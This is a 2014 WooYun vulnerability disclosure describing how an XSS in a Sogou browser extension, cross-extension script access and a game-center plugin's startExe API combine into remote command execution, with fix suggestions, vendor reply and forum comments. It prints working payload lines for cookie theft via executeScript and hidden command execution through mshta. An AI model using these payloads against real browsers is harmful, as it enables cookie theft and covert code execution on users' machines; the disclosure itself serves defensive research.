当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083537

漏洞标题:某小设计缺陷搜狗浏览器远程命令执行

相关厂商:搜狗

漏洞作者: gainover

提交时间:2014-11-16 23:29

修复时间:2015-02-14 23:30

公开时间:2015-02-14 23:30

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向第三方安全合作伙伴开放
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

从某些小的设计缺陷到远程命令执行。

详细说明:

1. 搜狗浏览器自有的协议下(se://)的一些内容,都封装成了application/sogou-native-widget-plugin,因此,我们在这个协议下,要继续找到可用的XSS似乎比较困难。
2. 于是将目光投向了似乎更容易找到XSS的 se-extension://, 通过分析发现,搜狗浏览器在设计上,不允许 http协议向 se: 协议的资源跳转(如下图所示);但是对于 se-extension:// 上却欠缺了类似的安全考虑,允许在http协议下通过location.href跳转到或是通过iframe标签嵌入 se-extension:// 协议下的资源。

1.jpg


3. 基于这样一个缺陷,我们接着要寻找 se-extension://域下的XSS,由于搜狗浏览器内置的插件还比较多,挨个htm看一看,发现以下插件(截图插件)的页面存在XSS。

se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)


4. 这样一来,我们可以利用这个插件的XSS来调用搜狗浏览器插件所暴露出的一些API,这些API主要在sogouExplorer这个对象里,如下图所示:

2.jpg


这些API已经可以用来实现很多高危害的事情了,例如:

//利用sogouExplorer.tabs.getAllInWindow获得窗口内打开的所有页面
sogouExplorer.tabs.getAllInWindow(0,function(){console.log(arguments)})
//通过上一个函数内获得tabid来向页面内注入任意JS,实现窃取用户当前打开的页面的cookies。
sogouExplorer.tabs.executeScript(202372,{"code":"alert(document.cookie)"},function(){console.log(arguments)})


代码运行如下:

5.jpg


效果如下图所示:

4.jpg


到了这里,实际上利用这个XSS,可以实现改变任意页面的内容,可以用于窃取COOKIES,或是改变页面内容实现钓鱼等高危害操作。
-----------------------------------
** 实现远程命令执行
-----------------------------------
实际上到了上面这一步,对于用户来说,已经会导致很高的危害,但是我们是否可以实现命令执行呢?搜狗一些曾经导致远程命令执行的内置API,比如external下的SkinCall再次出问题的可能性已经比较小。
我们依然把目光放到扩展本身上,一些内置的扩展为了实现一些功能也会暴露一些API给网页,而扩展内的这样的功能要么是通过搜狗浏览器提供的扩展API来实现,要么通过dll来实现。
我们通过分析,发现com.sogou.gamecenter这个扩展调用了npgamecenterlite.dll,
该扩展的地址在 se-extension://ext740107210/路径下
更有意思的是该扩展目录下的back.html中还发现了以下内容(se-extension://ext740107210/html/back.html):

//back.html中调用npgamecenterlite.dll
<embed id="embed1" type="application/sogou-start-gamecenter-lite-plugin"/>
//back.html中调用了http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.4/app.js?t=1.0.4,其中有以下代码:
var miniLauncher = document.getElementById( 'embed1' );
//...
miniLauncher.startExe( url + " /popgame " + exe_param, function(arg) {
//....
});


我们惊喜的看到,这个npgamecenterlite.dll提供了一个API接口,而该接口的作用是用来启动了一个指定路径的程序。
-----------------------------------
** 插件页面间的互相访问
-----------------------------------
可以看到,我们找到XSS的页面是:
se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)
而存在调用npgamecenterlite.dll的页面是:
se-extension://ext740107210/html/back.html
这2个页面,属于同一个协议(se-extension),但不属于同一个域,理论上2个页面是无法互相通信的。
然而,搜狗浏览器在此处对se-extension协议的处理上再次出现问题,我发现,在se-extension协议下,2个不同域的页面可以通过脚本互相访问。
这样一来,我们的攻击思路就很明确了,如下:

6.jpg


如上图所示,顺便说到了要修复的点。
-----------------------------------
** 是否是任意命令执行?
-----------------------------------
答案:是的。
这里的 startExe API支持命令带参数,所以我们可以执行任意的命令。
如果用cmd,就会弹出一个一闪而过的黑框框,不够隐蔽。
这里我们可以用mshta来实现完全隐蔽的执行任意命令。比如下面弹出一个计算器:

miniLauncher.startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();", function(arg) {
console.log(arg);
});


mshta也会打开一个框框,但是我们可以用moveTo将框框移动到屏幕外,从而实现隐蔽效果。
最后执行效果:

7.jpg

漏洞证明:

安装最新版本的搜狗浏览器:
访问:http://xsst.sinaapp.com/poc/sogou.html ,
win xp, win7, win8 下均测试通过,上面已经有一个win7的图了,下面发个win8的,

8.jpg

修复方案:

见详细说明中的图:
1. 修复XSS
2. 阻止http访问se-extension协议资源
3. 阻止插件页面间的相互访问
4. ....

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-11-21 10:55

厂商回复:

感谢支持,欢迎您在SGSRC平台提交漏洞

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-16 23:30 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    前排,哈哈

  2. 2014-11-16 23:41 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    二哥这是浏览器专场的节奏

  3. 2014-11-17 00:28 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    二哥就是牛逼

  4. 2014-11-17 01:00 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。qq浏览器 360浏览器 猎豹浏览器

  5. 2014-11-17 08:34 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    又多了个精华。。

  6. 2014-11-17 08:41 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    二哥浏览器专场 show time

  7. 2014-11-17 08:54 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

  8. 2014-11-17 09:02 | 酸奶、 ( 普通白帽子 | Rank:182 漏洞数:27 )

    二哥专场。

  9. 2014-11-17 09:23 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    更多浏览器

  10. 2014-11-18 15:20 | mlyKnown ( 路人 | Rank:2 漏洞数:1 | 咚咚咚咚,查水表啦。)

    浏览器专场。。

  11. 2014-11-21 11:33 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    ** 厂商,鉴定完毕。

  12. 2014-11-21 11:34 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    @gainover 学他主子了,哈哈

  13. 2014-11-21 11:53 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 。。。5分,你现在还觉得遨游的15给的低么

  14. 2014-11-21 12:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    搜狗真屌

  15. 2014-11-21 13:01 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    据说内网漫游也就12分 @if、so

  16. 2014-11-21 13:19 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的,万一实现了呢?)

    @Woodee 无力吐槽,sgsrc什么玩意

  17. 2014-11-28 22:39 | 南柯太守 ( 路人 | Rank:2 漏洞数:1 | 专注web开发的安全入门者)

    @gainover你丫是大js吧的那个大神吗

  18. 2014-11-28 22:48 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @南柯太守 以前确实是那个吧的吧主,现在是小吧。

  19. 2014-11-28 23:06 | 南柯太守 ( 路人 | Rank:2 漏洞数:1 | 专注web开发的安全入门者)

    gainover,我好久没去了,你这xss用的可真了得